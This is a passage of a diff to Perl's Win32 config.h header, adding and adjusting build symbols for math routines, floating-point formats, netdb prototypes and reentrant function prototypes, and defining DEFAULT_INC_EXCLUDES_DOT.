+ *	This symbol, if defined, indicates that the tgamma routine is
+ *	available to do the gamma function. See also HAS_LGAMMA.
+ */
+/*#define HAS_TGAMMA		/ **/
+
 /* HAS_CTIME64:
  *	This symbol, if defined, indicates that the ctime64 () routine is
  *	available to do the 64bit variant of ctime ()
@@ -4243,6 +3421,12 @@
  */
 /*#define HAS_TIMEGM		/ **/
 
+/* HAS_TRUNC:
+ *	This symbol, if defined, indicates that the trunc routine is
+ *	available to round doubles towards zero.
+ */
+/*#define HAS_TRUNC		/ **/
+
 /* HAS_TRUNCL:
  *	This symbol, if defined, indicates that the truncl routine is
  *	available. If copysignl is also present we can emulate modfl.
@@ -4312,7 +3496,7 @@
  *	This symbol, if defined, removes the legacy default behavior of
  *	including '.' at the end of @INC.
  */
-/*#define DEFAULT_INC_EXCLUDES_DOT	/ **/
+#define DEFAULT_INC_EXCLUDES_DOT	/**/
 
 /* USE_DYNAMIC_LOADING:
  *	This symbol, if defined, indicates that dynamic loading of
@@ -4336,12 +3520,6 @@
 #define	FFLUSH_NULL 		/**/
 /*#define	FFLUSH_ALL 		/ **/
 
-/* I_ASSERT:
- *	This symbol, if defined, indicates that <assert.h> exists and
- *	could be included by the C program to get the assert() macro.
- */
-#define	I_ASSERT		/**/
-
 /* I_BFD:
  *	This symbol, if defined, indicates that <bfd.h> exists and
  *	can be included.
@@ -4456,6 +3634,12 @@
  */
 /*#define	I_PROT		/ **/
 
+/* I_QUADMATH:
+ *	This symbol, if defined, indicates that <quadmath.h> exists and
+ *	should be included.
+ */
+/*#define	I_QUADMATH		/ **/
+
 /* I_SHADOW:
  *	This symbol, if defined, indicates that <shadow.h> exists and
  *	should be included.
@@ -4478,7 +3662,7 @@
  *	This symbol, if defined, indicates that <stdint.h> exists and
  *	should be included.
  */
-/*#define I_STDINT		/ **/
+#define I_STDINT		/**/
 
 /* I_SUNMATH:
  *	This symbol, if defined, indicates that <sunmath.h> exists and
@@ -4533,6 +3717,27 @@
  */
 /*#define	I_USTAT		/ **/
 
+/* DOUBLEINFBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes for the double precision infinity.
+ */
+/* DOUBLENANBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes (0xHH) for the double precision not-a-number.
+ */
+/* LONGDBLINFBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes for the long double precision infinity.
+ */
+/* LONGDBLNANBYTES:
+ *	This symbol, if defined, is a comma-separated list of
+ *	hexadecimal bytes (0xHH) for the long double precision not-a-number.
+ */
+#define DOUBLEINFBYTES  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f		/**/
+#define DOUBLENANBYTES  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x7f		/**/
+#define LONGDBLINFBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00		/**/
+#define LONGDBLNANBYTES 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x00, 0x00		/**/
+
 /* PERL_PRIfldbl:
  *	This symbol, if defined, contains the string used by stdio to
  *	format long doubles (format 'f') for output.
@@ -4549,11 +3754,109 @@
  *	This symbol, if defined, contains the string used by stdio to
  *	format long doubles (format 'f') for input.
  */
+/* DOUBLEKIND:
+ *	DOUBLEKIND will be one of
+ *	DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN
+ *	DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN
+ *	DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE
+ *	DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE
+ *	DOUBLE_IS_VAX_F_FLOAT
+ *	DOUBLE_IS_VAX_D_FLOAT
+ *	DOUBLE_IS_VAX_G_FLOAT
+ *	DOUBLE_IS_IBM_SINGLE_32_BIT
+ *	DOUBLE_IS_IBM_DOUBLE_64_BIT
+ *	DOUBLE_IS_CRAY_SINGLE_64_BIT
+ *	DOUBLE_IS_UNKNOWN_FORMAT
+ */
+/* DOUBLE_HAS_INF:
+ *	This symbol, if defined, indicates that the double has
+ *	the infinity.
+ */
+/* DOUBLE_HAS_NAN:
+ *	This symbol, if defined, indicates that the double has
+ *	the not-a-number.
+ */
+/* DOUBLE_HAS_NEGATIVE_ZERO:
+ *	This symbol, if defined, indicates that the double has
+ *	the negative_zero.
+ */
+/* DOUBLE_HAS_SUBNORMALS:
+ *	This symbol, if defined, indicates that the double has
+ *	the subnormals (denormals).
+ */
+/* DOUBLE_STYLE_CRAY:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit CRAY mainframe format.
+ */
+/* DOUBLE_STYLE_IBM:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit IBM mainframe format.
+ */
+/* DOUBLE_STYLE_IEEE:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit IEEE 754.
+ */
+/* DOUBLE_STYLE_VAX:
+ *	This symbol, if defined, indicates that the double is
+ *	the 64-bit VAX format D or G.
+ */
+#define DOUBLEKIND 3		/**/
+#define DOUBLE_IS_IEEE_754_32_BIT_LITTLE_ENDIAN	1
+#define DOUBLE_IS_IEEE_754_32_BIT_BIG_ENDIAN	2
+#define DOUBLE_IS_IEEE_754_64_BIT_LITTLE_ENDIAN	3
+#define DOUBLE_IS_IEEE_754_64_BIT_BIG_ENDIAN	4
+#define DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN	5
+#define DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN	6
+#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_LE_BE	7
+#define DOUBLE_IS_IEEE_754_64_BIT_MIXED_ENDIAN_BE_LE	8
+#define DOUBLE_IS_VAX_F_FLOAT	9
+#define DOUBLE_IS_VAX_D_FLOAT	10
+#define DOUBLE_IS_VAX_G_FLOAT	11
+#define DOUBLE_IS_IBM_SINGLE_32_BIT	12
+#define DOUBLE_IS_IBM_DOUBLE_64_BIT	13
+#define DOUBLE_IS_CRAY_SINGLE_64_BIT	14
+#define DOUBLE_IS_UNKNOWN_FORMAT		-1
 /*#define PERL_PRIfldbl	"Lf"	/ **/
 /*#define PERL_PRIgldbl	"Lg"	/ **/
 /*#define PERL_PRIeldbl	"Le"	/ **/
 /*#define PERL_SCNfldbl	"Lf"	/ **/
+#define DOUBLE_HAS_INF
+#define DOUBLE_HAS_NAN
+#define DOUBLE_HAS_NEGATIVE_ZERO
+#define DOUBLE_HAS_SUBNORMALS
+#undef DOUBLE_STYLE_CRAY
+#undef DOUBLE_STYLE_IBM
+#define DOUBLE_STYLE_IEEE
+#undef DOUBLE_STYLE_VAX
 
+/* DOUBLEMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	there are in double precision floating point format.
+ *	Note that this is usually DBL_MANT_DIG minus one, since
+ *	with the standard IEEE 754 formats DBL_MANT_DIG includes
+ *	the implicit bit, which doesn't really exist.
+ */
+/* LONGDBLMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	there are in long double precision floating point format.
+ *	Note that this can be LDBL_MANT_DIG minus one,
+ *	since LDBL_MANT_DIG can include the IEEE 754 implicit bit.
+ *	The common x86-style 80-bit long double does not have
+ *	an implicit bit.
+ */
+/* NVMANTBITS:
+ *	This symbol, if defined, tells how many mantissa bits
+ *	(not including implicit bit) there are in a Perl NV.
+ *	This depends on which floating point type was chosen.
+ */
+#define DOUBLEMANTBITS  52
+#define LONGDBLMANTBITS 64
+#define NVMANTBITS      52
+
 /* NEED_VA_COPY:
  *	This symbol, if defined, indicates that the system stores
  *	the variable argument list datatype, va_list, in a format
@@ -4630,6 +3933,11 @@
  */
 /* NVSIZE:
  *	This symbol contains the sizeof(NV).
+ *	Note that some floating point formats have unused bytes.
+ *	The most notable example is the x86* 80-bit extended precision
+ *	which comes in byte sizes of 12 and 16 (for 32 and 64 bit
+ *	platforms, respectively), but which only uses 10 bytes.
+ *	Perl compiled with -Duselongdouble on x86* is like this.
  */
 /* NV_PRESERVES_UV:
  *	This symbol, if defined, indicates that a variable of type NVTYPE
@@ -4895,6 +4203,14 @@
 #define	USE_PERLIO		/**/
 #endif
 
+/* USE_QUADMATH:
+ *	This symbol, if defined, indicates that the quadmath library should
+ *	be used when available.
+ */
+#ifndef USE_QUADMATH
+/*#define	USE_QUADMATH		/ **/
+#endif
+
 /* USE_SOCKS:
  *	This symbol, if defined, indicates that Perl should
  *	be built to use socks.
@@ -4903,4 +4219,921 @@
 /*#define	USE_SOCKS		/ **/
 #endif
 
+/* HAS_DRAND48_PROTO:
+ *	This symbol, if defined, indicates that the system provides
+ *	a prototype for the drand48() function.  Otherwise, it is up
+ *	to the program to supply one.  A good guess is
+ *		extern double drand48(void);
+ */
+/*#define	HAS_DRAND48_PROTO	/ **/
+
+/* HAS_GETHOST_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for gethostent(), gethostbyname(), and
+ *	gethostbyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+#define	HAS_GETHOST_PROTOS	/**/
+
+/* HAS_GETNET_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for getnetent(), getnetbyname(), and
+ *	getnetbyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+/*#define	HAS_GETNET_PROTOS	/ **/
+
+/* HAS_GETPROTO_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for getprotoent(), getprotobyname(), and
+ *	getprotobyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+#define	HAS_GETPROTO_PROTOS	/**/
+
+/* HAS_GETSERV_PROTOS:
+ *	This symbol, if defined, indicates that <netdb.h> includes
+ *	prototypes for getservent(), getservbyname(), and
+ *	getservbyaddr().  Otherwise, it is up to the program to guess
+ *	them.  See netdbtype.U for probing for various Netdb_xxx_t types.
+ */
+#define	HAS_GETSERV_PROTOS	/**/
+
+/* HAS_LSEEK_PROTO:
+ *	This symbol, if defined, indicates that the system provides
+ *	a prototype for the lseek() function.  Otherwise, it is up
+ *	to the program to supply one.  A good guess is
+ *		extern off_t lseek(int, off_t, int);
+ */
+#define	HAS_LSEEK_PROTO	/**/
+
+/* Netdb_host_t:
+ *	This symbol holds the type used for the 1st argument
+ *	to gethostbyaddr().
+ */
+/* Netdb_hlen_t:
+ *	This symbol holds the type used for the 2nd argument
+ *	to gethostbyaddr().
+ */
+/* Netdb_name_t:
+ *	This symbol holds the type used for the argument to
+ *	gethostbyname().
+ */
+/* Netdb_net_t:
+ *	This symbol holds the type used for the 1st argument to
+ *	getnetbyaddr().
+ */
+#define Netdb_host_t		char * /**/
+#define Netdb_hlen_t		int /**/
+#define Netdb_name_t		char * /**/
+#define Netdb_net_t		long /**/
+
+/* Select_fd_set_t:
+ *	This symbol holds the type used for the 2nd, 3rd, and 4th
+ *	arguments to select.  Usually, this is 'fd_set *', if HAS_FD_SET
+ *	is defined, and 'int *' otherwise.  This is only useful if you
+ *	have select(), of course.
+ */
+#define Select_fd_set_t 	Perl_fd_set *	/**/
+
+/* Sock_size_t:
+ *	This symbol holds the type used for the size argument of
+ *	various socket calls (just the base type, not the pointer-to).
+ */
+#define Sock_size_t		int /**/
+
+/* ARCHNAME:
+ *	This symbol holds a string representing the architecture name.
+ *	It may be used to construct an architecture-dependant pathname
+ *	where library files may be held under a private library, for
+ *	instance.
+ */
+#define ARCHNAME "MSWin32-x86-perlio"		/**/
+
+/* HAS_ASCTIME_R:
+ *	This symbol, if defined, indicates that the asctime_r routine
+ *	is available to asctime re-entrantly.
+ */
+/* ASCTIME_R_PROTO:
+ *	This symbol encodes the prototype of asctime_r.
+ *	It is zero if d_asctime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_asctime_r
+ *	is defined.
+ */
+/*#define HAS_ASCTIME_R	   / **/
+#define ASCTIME_R_PROTO 0	   /**/
+
+/* HAS_CRYPT_R:
+ *	This symbol, if defined, indicates that the crypt_r routine
+ *	is available to crypt re-entrantly.
+ */
+/* CRYPT_R_PROTO:
+ *	This symbol encodes the prototype of crypt_r.
+ *	It is zero if d_crypt_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_crypt_r
+ *	is defined.
+ */
+/*#define HAS_CRYPT_R	   / **/
+#define CRYPT_R_PROTO 0	   /**/
+
+/* HAS_CTERMID_R:
+ *	This symbol, if defined, indicates that the ctermid_r routine
+ *	is available to ctermid re-entrantly.
+ */
+/* CTERMID_R_PROTO:
+ *	This symbol encodes the prototype of ctermid_r.
+ *	It is zero if d_ctermid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctermid_r
+ *	is defined.
+ */
+/*#define HAS_CTERMID_R	   / **/
+#define CTERMID_R_PROTO 0	   /**/
+
+/* HAS_CTIME_R:
+ *	This symbol, if defined, indicates that the ctime_r routine
+ *	is available to ctime re-entrantly.
+ */
+/* CTIME_R_PROTO:
+ *	This symbol encodes the prototype of ctime_r.
+ *	It is zero if d_ctime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ctime_r
+ *	is defined.
+ */
+/*#define HAS_CTIME_R	   / **/
+#define CTIME_R_PROTO 0	   /**/
+
+/* HAS_DRAND48_R:
+ *	This symbol, if defined, indicates that the drand48_r routine
+ *	is available to drand48 re-entrantly.
+ */
+/* DRAND48_R_PROTO:
+ *	This symbol encodes the prototype of drand48_r.
+ *	It is zero if d_drand48_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_drand48_r
+ *	is defined.
+ */
+/*#define HAS_DRAND48_R	   / **/
+#define DRAND48_R_PROTO 0	   /**/
+
+/* HAS_ENDGRENT_R:
+ *	This symbol, if defined, indicates that the endgrent_r routine
+ *	is available to endgrent re-entrantly.
+ */
+/* ENDGRENT_R_PROTO:
+ *	This symbol encodes the prototype of endgrent_r.
+ *	It is zero if d_endgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endgrent_r
+ *	is defined.
+ */
+/*#define HAS_ENDGRENT_R	   / **/
+#define ENDGRENT_R_PROTO 0	   /**/
+
+/* HAS_ENDHOSTENT_R:
+ *	This symbol, if defined, indicates that the endhostent_r routine
+ *	is available to endhostent re-entrantly.
+ */
+/* ENDHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of endhostent_r.
+ *	It is zero if d_endhostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endhostent_r
+ *	is defined.
+ */
+/*#define HAS_ENDHOSTENT_R	   / **/
+#define ENDHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_ENDNETENT_R:
+ *	This symbol, if defined, indicates that the endnetent_r routine
+ *	is available to endnetent re-entrantly.
+ */
+/* ENDNETENT_R_PROTO:
+ *	This symbol encodes the prototype of endnetent_r.
+ *	It is zero if d_endnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endnetent_r
+ *	is defined.
+ */
+/*#define HAS_ENDNETENT_R	   / **/
+#define ENDNETENT_R_PROTO 0	   /**/
+
+/* HAS_ENDPROTOENT_R:
+ *	This symbol, if defined, indicates that the endprotoent_r routine
+ *	is available to endprotoent re-entrantly.
+ */
+/* ENDPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of endprotoent_r.
+ *	It is zero if d_endprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endprotoent_r
+ *	is defined.
+ */
+/*#define HAS_ENDPROTOENT_R	   / **/
+#define ENDPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_ENDPWENT_R:
+ *	This symbol, if defined, indicates that the endpwent_r routine
+ *	is available to endpwent re-entrantly.
+ */
+/* ENDPWENT_R_PROTO:
+ *	This symbol encodes the prototype of endpwent_r.
+ *	It is zero if d_endpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endpwent_r
+ *	is defined.
+ */
+/*#define HAS_ENDPWENT_R	   / **/
+#define ENDPWENT_R_PROTO 0	   /**/
+
+/* HAS_ENDSERVENT_R:
+ *	This symbol, if defined, indicates that the endservent_r routine
+ *	is available to endservent re-entrantly.
+ */
+/* ENDSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of endservent_r.
+ *	It is zero if d_endservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_endservent_r
+ *	is defined.
+ */
+/*#define HAS_ENDSERVENT_R	   / **/
+#define ENDSERVENT_R_PROTO 0	   /**/
+
+/* HAS_GETGRENT_R:
+ *	This symbol, if defined, indicates that the getgrent_r routine
+ *	is available to getgrent re-entrantly.
+ */
+/* GETGRENT_R_PROTO:
+ *	This symbol encodes the prototype of getgrent_r.
+ *	It is zero if d_getgrent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrent_r
+ *	is defined.
+ */
+/*#define HAS_GETGRENT_R	   / **/
+#define GETGRENT_R_PROTO 0	   /**/
+
+/* HAS_GETGRGID_R:
+ *	This symbol, if defined, indicates that the getgrgid_r routine
+ *	is available to getgrgid re-entrantly.
+ */
+/* GETGRGID_R_PROTO:
+ *	This symbol encodes the prototype of getgrgid_r.
+ *	It is zero if d_getgrgid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrgid_r
+ *	is defined.
+ */
+/*#define HAS_GETGRGID_R	   / **/
+#define GETGRGID_R_PROTO 0	   /**/
+
+/* HAS_GETGRNAM_R:
+ *	This symbol, if defined, indicates that the getgrnam_r routine
+ *	is available to getgrnam re-entrantly.
+ */
+/* GETGRNAM_R_PROTO:
+ *	This symbol encodes the prototype of getgrnam_r.
+ *	It is zero if d_getgrnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getgrnam_r
+ *	is defined.
+ */
+/*#define HAS_GETGRNAM_R	   / **/
+#define GETGRNAM_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTBYADDR_R:
+ *	This symbol, if defined, indicates that the gethostbyaddr_r routine
+ *	is available to gethostbyaddr re-entrantly.
+ */
+/* GETHOSTBYADDR_R_PROTO:
+ *	This symbol encodes the prototype of gethostbyaddr_r.
+ *	It is zero if d_gethostbyaddr_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyaddr_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTBYADDR_R	   / **/
+#define GETHOSTBYADDR_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTBYNAME_R:
+ *	This symbol, if defined, indicates that the gethostbyname_r routine
+ *	is available to gethostbyname re-entrantly.
+ */
+/* GETHOSTBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of gethostbyname_r.
+ *	It is zero if d_gethostbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTBYNAME_R	   / **/
+#define GETHOSTBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETHOSTENT_R:
+ *	This symbol, if defined, indicates that the gethostent_r routine
+ *	is available to gethostent re-entrantly.
+ */
+/* GETHOSTENT_R_PROTO:
+ *	This symbol encodes the prototype of gethostent_r.
+ *	It is zero if d_gethostent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gethostent_r
+ *	is defined.
+ */
+/*#define HAS_GETHOSTENT_R	   / **/
+#define GETHOSTENT_R_PROTO 0	   /**/
+
+/* HAS_GETLOGIN_R:
+ *	This symbol, if defined, indicates that the getlogin_r routine
+ *	is available to getlogin re-entrantly.
+ */
+/* GETLOGIN_R_PROTO:
+ *	This symbol encodes the prototype of getlogin_r.
+ *	It is zero if d_getlogin_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
+ *	is defined.
+ */
+/*#define HAS_GETLOGIN_R	   / **/
+#define GETLOGIN_R_PROTO 0	   /**/
+
+/* HAS_GETNETBYADDR_R:
+ *	This symbol, if defined, indicates that the getnetbyaddr_r routine
+ *	is available to getnetbyaddr re-entrantly.
+ */
+/* GETNETBYADDR_R_PROTO:
+ *	This symbol encodes the prototype of getnetbyaddr_r.
+ *	It is zero if d_getnetbyaddr_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
+ *	is defined.
+ */
+/*#define HAS_GETNETBYADDR_R	   / **/
+#define GETNETBYADDR_R_PROTO 0	   /**/
+
+/* HAS_GETNETBYNAME_R:
+ *	This symbol, if defined, indicates that the getnetbyname_r routine
+ *	is available to getnetbyname re-entrantly.
+ */
+/* GETNETBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getnetbyname_r.
+ *	It is zero if d_getnetbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETNETBYNAME_R	   / **/
+#define GETNETBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETNETENT_R:
+ *	This symbol, if defined, indicates that the getnetent_r routine
+ *	is available to getnetent re-entrantly.
+ */
+/* GETNETENT_R_PROTO:
+ *	This symbol encodes the prototype of getnetent_r.
+ *	It is zero if d_getnetent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
+ *	is defined.
+ */
+/*#define HAS_GETNETENT_R	   / **/
+#define GETNETENT_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOBYNAME_R:
+ *	This symbol, if defined, indicates that the getprotobyname_r routine
+ *	is available to getprotobyname re-entrantly.
+ */
+/* GETPROTOBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getprotobyname_r.
+ *	It is zero if d_getprotobyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOBYNAME_R	   / **/
+#define GETPROTOBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOBYNUMBER_R:
+ *	This symbol, if defined, indicates that the getprotobynumber_r routine
+ *	is available to getprotobynumber re-entrantly.
+ */
+/* GETPROTOBYNUMBER_R_PROTO:
+ *	This symbol encodes the prototype of getprotobynumber_r.
+ *	It is zero if d_getprotobynumber_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOBYNUMBER_R	   / **/
+#define GETPROTOBYNUMBER_R_PROTO 0	   /**/
+
+/* HAS_GETPROTOENT_R:
+ *	This symbol, if defined, indicates that the getprotoent_r routine
+ *	is available to getprotoent re-entrantly.
+ */
+/* GETPROTOENT_R_PROTO:
+ *	This symbol encodes the prototype of getprotoent_r.
+ *	It is zero if d_getprotoent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
+ *	is defined.
+ */
+/*#define HAS_GETPROTOENT_R	   / **/
+#define GETPROTOENT_R_PROTO 0	   /**/
+
+/* HAS_GETPWENT_R:
+ *	This symbol, if defined, indicates that the getpwent_r routine
+ *	is available to getpwent re-entrantly.
+ */
+/* GETPWENT_R_PROTO:
+ *	This symbol encodes the prototype of getpwent_r.
+ *	It is zero if d_getpwent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
+ *	is defined.
+ */
+/*#define HAS_GETPWENT_R	   / **/
+#define GETPWENT_R_PROTO 0	   /**/
+
+/* HAS_GETPWNAM_R:
+ *	This symbol, if defined, indicates that the getpwnam_r routine
+ *	is available to getpwnam re-entrantly.
+ */
+/* GETPWNAM_R_PROTO:
+ *	This symbol encodes the prototype of getpwnam_r.
+ *	It is zero if d_getpwnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
+ *	is defined.
+ */
+/*#define HAS_GETPWNAM_R	   / **/
+#define GETPWNAM_R_PROTO 0	   /**/
+
+/* HAS_GETPWUID_R:
+ *	This symbol, if defined, indicates that the getpwuid_r routine
+ *	is available to getpwuid re-entrantly.
+ */
+/* GETPWUID_R_PROTO:
+ *	This symbol encodes the prototype of getpwuid_r.
+ *	It is zero if d_getpwuid_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
+ *	is defined.
+ */
+/*#define HAS_GETPWUID_R	   / **/
+#define GETPWUID_R_PROTO 0	   /**/
+
+/* HAS_GETSERVBYNAME_R:
+ *	This symbol, if defined, indicates that the getservbyname_r routine
+ *	is available to getservbyname re-entrantly.
+ */
+/* GETSERVBYNAME_R_PROTO:
+ *	This symbol encodes the prototype of getservbyname_r.
+ *	It is zero if d_getservbyname_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVBYNAME_R	   / **/
+#define GETSERVBYNAME_R_PROTO 0	   /**/
+
+/* HAS_GETSERVBYPORT_R:
+ *	This symbol, if defined, indicates that the getservbyport_r routine
+ *	is available to getservbyport re-entrantly.
+ */
+/* GETSERVBYPORT_R_PROTO:
+ *	This symbol encodes the prototype of getservbyport_r.
+ *	It is zero if d_getservbyport_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVBYPORT_R	   / **/
+#define GETSERVBYPORT_R_PROTO 0	   /**/
+
+/* HAS_GETSERVENT_R:
+ *	This symbol, if defined, indicates that the getservent_r routine
+ *	is available to getservent re-entrantly.
+ */
+/* GETSERVENT_R_PROTO:
+ *	This symbol encodes the prototype of getservent_r.
+ *	It is zero if d_getservent_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
+ *	is defined.
+ */
+/*#define HAS_GETSERVENT_R	   / **/
+#define GETSERVENT_R_PROTO 0	   /**/
+
+/* HAS_GETSPNAM_R:
+ *	This symbol, if defined, indicates that the getspnam_r routine
+ *	is available to getspnam re-entrantly.
+ */
+/* GETSPNAM_R_PROTO:
+ *	This symbol encodes the prototype of getspnam_r.
+ *	It is zero if d_getspnam_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
+ *	is defined.
+ */
+/*#define HAS_GETSPNAM_R	   / **/
+#define GETSPNAM_R_PROTO 0	   /**/
+
+/* HAS_GMTIME_R:
+ *	This symbol, if defined, indicates that the gmtime_r routine
+ *	is available to gmtime re-entrantly.
+ */
+/* GMTIME_R_PROTO:
+ *	This symbol encodes the prototype of gmtime_r.
+ *	It is zero if d_gmtime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
+ *	is defined.
+ */
+/*#define HAS_GMTIME_R	   / **/
+#define GMTIME_R_PROTO 0	   /**/
+
+/* HAS_LOCALTIME_R:
+ *	This symbol, if defined, indicates that the localtime_r routine
+ *	is available to localtime re-entrantly.
+ */
+/* LOCALTIME_R_NEEDS_TZSET:
+ *	Many libc's localtime_r implementations do not call tzset,
+ *	making them differ from localtime(), and making timezone
+ *	changes using \undef{TZ} without explicitly calling tzset
+ *	impossible. This symbol makes us call tzset before localtime_r
+ */
+/*#define LOCALTIME_R_NEEDS_TZSET / **/
+#ifdef LOCALTIME_R_NEEDS_TZSET
+#define L_R_TZSET tzset(),
+#else
+#define L_R_TZSET
 #endif
+
+/* LOCALTIME_R_PROTO:
+ *	This symbol encodes the prototype of localtime_r.
+ *	It is zero if d_localtime_r is undef, and one of the
+ *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
+ *	is defined.
+ */
+/*#define HAS_LOCALTIME_R	   / **/
+#define LOCALTIME_R_PROTO 0	   /**/
+
+/* OLD_PTHREAD_CREATE_JOINABLE:
+ *	This symbol, if defined, indicates how to create pthread
+ *	in joinable (aka undetached) state.  NOTE: not defined
+ *	if pthread.h already has defined PTHREAD_CREATE_JOINABLE
+ *	(the new version of the constant).
+ *	If defined, known values are PTHREAD_CREATE_UNDETACHED
+ *	and __UNDETACHED.
+ */
+/*#define OLD_PTHREAD_CREATE_JOINABLE  / **/
+
+/* HAS_PTHREAD_ATFORK:
+ *	This symbol, if defined, indicates that the pthread_atfork routine
+ *	is available to setup fork handlers.
+ */
+/*#define HAS_PTHREAD_ATFORK		/ **/
+
+/* HAS_PTHREAD_YIELD:
+ *	This symbol, if defined, indicates that the pthread_yield
+ *	routine is available to yield the execution of the current
+ *	thread.	 sched_yield is preferable to pthread_yield.
+ */
+/* SCHED_YIELD:
+ *	This symbol defines the way to yield the execution of
+ *	the current thread.  Known ways are sched_yield,
+ *	pthread_yield, and pthread_yield with NULL.
+ */
+/* HAS_SCHED_YIELD:
+ *	This symbol, if defined, indicates that the sched_yield
+ *	routine is available to yield the execution of the current
+ *	thread.	 sched_yield is preferable to pthread_yield.
+ */
